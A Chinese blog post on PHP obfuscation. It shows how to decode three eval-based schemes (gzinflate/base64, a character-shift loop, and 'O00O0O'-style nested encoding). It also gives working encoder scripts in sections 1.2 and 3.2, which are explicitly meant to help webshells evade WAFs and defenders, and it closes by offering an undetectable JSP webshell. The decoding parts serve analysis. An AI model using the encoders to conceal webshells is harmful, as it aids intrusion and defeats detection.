对于某些畸形PHP的加密和解密方法

对于某些畸形PHP的加密和解密方法

AabyssZG
2023-01-30 / 2 评论 / 2,849 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2023年11月18日,已超过404天没有更新,若内容或图片失效,请留言反馈。

0# 概述

在Web渗透攻防的情况下,很多时候在前期打点,需要对Webshell进行各种免杀操作来过Waf或者防止防守方的觉察。
这时候,各种PHP的加密算法层出不穷,都是将PHP的执行语句,通过加密的方式内嵌在文件当中,来做到“瞒天过海”。

刚好最近碰到了一个PHP文件,用了两种畸形的加密方式,看了一眼网上好像也没好的文章讲讲怎么分析的,这里就带大家重温一下这两种加密的解密方式。

畸形解密-title.png

1# 简单的Gzip+Base64加密

这种加密方法网上到处都是,算是最简单的,本来不想写的
但和我今天讲的两个主要内容有点相似,这里就提一嘴吧

一个简单的样例如下:

<?php /*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); 
?>

easy-1.png

1.1 解密方法

将代码主题内容放入 $a 中,再访问并执行该PHP即可

<?php
//放入已经加密的PHP内容
$a = "eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));";
function decodephp($a)
{
    $max_level = 300; //最大层数
    for ($i = 0; $i < $max_level; $i++) {
        ob_start();
        eval(str_replace('eval', 'echo', $a));
        $a = ob_get_clean();
        if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
            return $a;
        }
    }
}
//这里注意要加htmlspecialchars,我看好多文章没写
echo htmlspecialchars(decodephp($a));  
?>

easy-2.png

1.2 加密方法

我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:

<?php
echo phpinfo();
?>

然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:

<?php
function encode_file_contents($filename) {
    $type=strtolower(substr(strrchr($filename,'.'),1));
    if('php'==$type && is_file($filename) && is_writable($filename)) {
        // 如果是PHP文件 并且可写 则进行压缩编码
        $contents = file_get_contents($filename);
        // 判断文件是否已经被编码处理
        $pos = strpos($contents,'/*Protected by AabyssZG*/');
        if(false === $pos || $pos>100) {
            // 去除PHP文件注释和空白,减少文件大小
            $contents = php_strip_whitespace($filename);
            // 去除PHP头部和尾部标识
            $headerPos = strpos($contents,'<?php');
            $footerPos = strrpos($contents,'?>');
            $contents = substr($contents,$headerPos+5,$footerPos-$headerPos);
            $encode = base64_encode(gzdeflate($contents));
            // 开始编码
            $encode = '<?php'." /*Protected by AabyssZG*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>";
            return file_put_contents($filename,$encode);
        }
    }
    return false;
}
//调用函数
$filename='phpinfo.php';
//这里填入需要加密的原始PHP文件名
encode_file_contents($filename);
?>

然后再运行PHP环境,访问并执行 encipher.php
成功后是没有回显的,但是 phpinfo.php 里面的内容已经被加密了,自行查看即可

2# 进阶的Gzip+Base64加密

这是上一种加密的进阶版,主要表现在有个循环,看代码:

<?php
function iJG($BHM) { 
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

medium-1.png

这是一个混淆加密的PHP WebShell,让我们看看如何解密

2.1 解密方法

由以上代码可以看出,这是先将 U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A Base64解密后进行Gzip处理,再将解密后的值膨胀,最后经过for循环,return出 $BHM 这个结果

但是做信安这块,一定要学会逆向思维
既然 eval 函数是执行php代码的函数,接收了最终解密的代码并执行,那我直接从这里切入呗:

<?php
function iJG($BHM) { 
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} echo(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

eval 函数 改为 echo 就可以把解密后的PHP代码回显出来了

medium-2.png

3# o00o0o嵌套加密

我第一次看到这种加密,应该是在一两年前,当时看到真的头痛,这种根本不能手动解密(在实际情况中遇到过上百行的这种嵌套加密方式),来看看一个简单的样例吧:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

difficulty-1.png

3.1 解密方法

因为里面参数众多,而我们要先看重要参数里面到底有什么:
目光来到 eval 代码里面,因为最终解密的代码将带入里面执行

difficulty-2.png

所以关键就在 $O00O0O 这个里面,那老方法echo出来:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

echo $O00O0O;
?>

difficulty-3.png

原来 $O00O0Obase64_decode Base64解码函数啊哈哈,那我直接把最后一行拉出来,把 eval($O00O0O 改为 echo(base64_decode

<?php
echo(base64_decode("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

可以看到,第一阶段解密并回显成功了,但还有加密的PHP代码片段:

difficulty-4.png

$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

这时候别慌,因为看到这个代码存在好多原来文件的参数,于是再将这段代码带入到原来的文件中,如下:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>

然后还是老办法,将 eval 函数换成 echo 即可,这里记得一定要加上 htmlspecialchars ,不然代码直接就执行了,看不到解密后的源码了:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
echo htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>

difficulty-5.png

成功解密并回显

3.2 加密方法

那有些师傅就想问,那我想要这种的加密怎么办呢?

老样子,我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:

<?php
echo phpinfo();
?>

然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:

<?php
function RandAbc($length=""){//返回随机字符串
$str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
return str_shuffle($str);
}

$filename='phpinfo.php';  //这里填入需要加密的原始PHP文件名
$T_k1=RandAbc();//随机密匙1
$T_k2=RandAbc();//随机密匙2

$vstr=file_get_contents($filename);//要加密的文件

$v1=base64_encode($vstr);
$c=strtr($v1,$T_k1,$T_k2);//根据密匙替换对应字符。
$c=$T_k1.$T_k2.$c;

$q1="O00O0O";
$q2="O0O000";
$q3="O0OO00";
$q4="OO0O00";
$q5="OO0000";
$q6="O00OO0";

$s='$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?>\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.$q5.'))));').'"));';

$s='<?php
'.$s.'
?>';

echo $s;

//生成 加密后的PHP文件
$fpp1=fopen('temp'.$filename,'w');
fwrite($fpp1,$s) or die('写文件错误');
?>

然后再运行PHP环境,访问并执行 encipher.php
接下来就会在同目录里面生成一个 tempphpinfo.php 这个加密的PHP文件了

4# 总结

  • 很多时候,碰到我们不会分析的代码,不要着急,很多时候要学会 “智取”
  • 现在依然还有很多通过PHP特性做免杀的方法,要多总结多归纳
  • 虽然本篇讲的是PHP,但JSP也同样如此,有时间我可以分享一个VT全绿的JSP马
29

评论 (2)

取消
  1. 头像
    lurker
    Windows 10 · FireFox

    硬核

    回复
  2. 头像
    科比布莱恩特
    Windows 10 · FireFox

    画图

    回复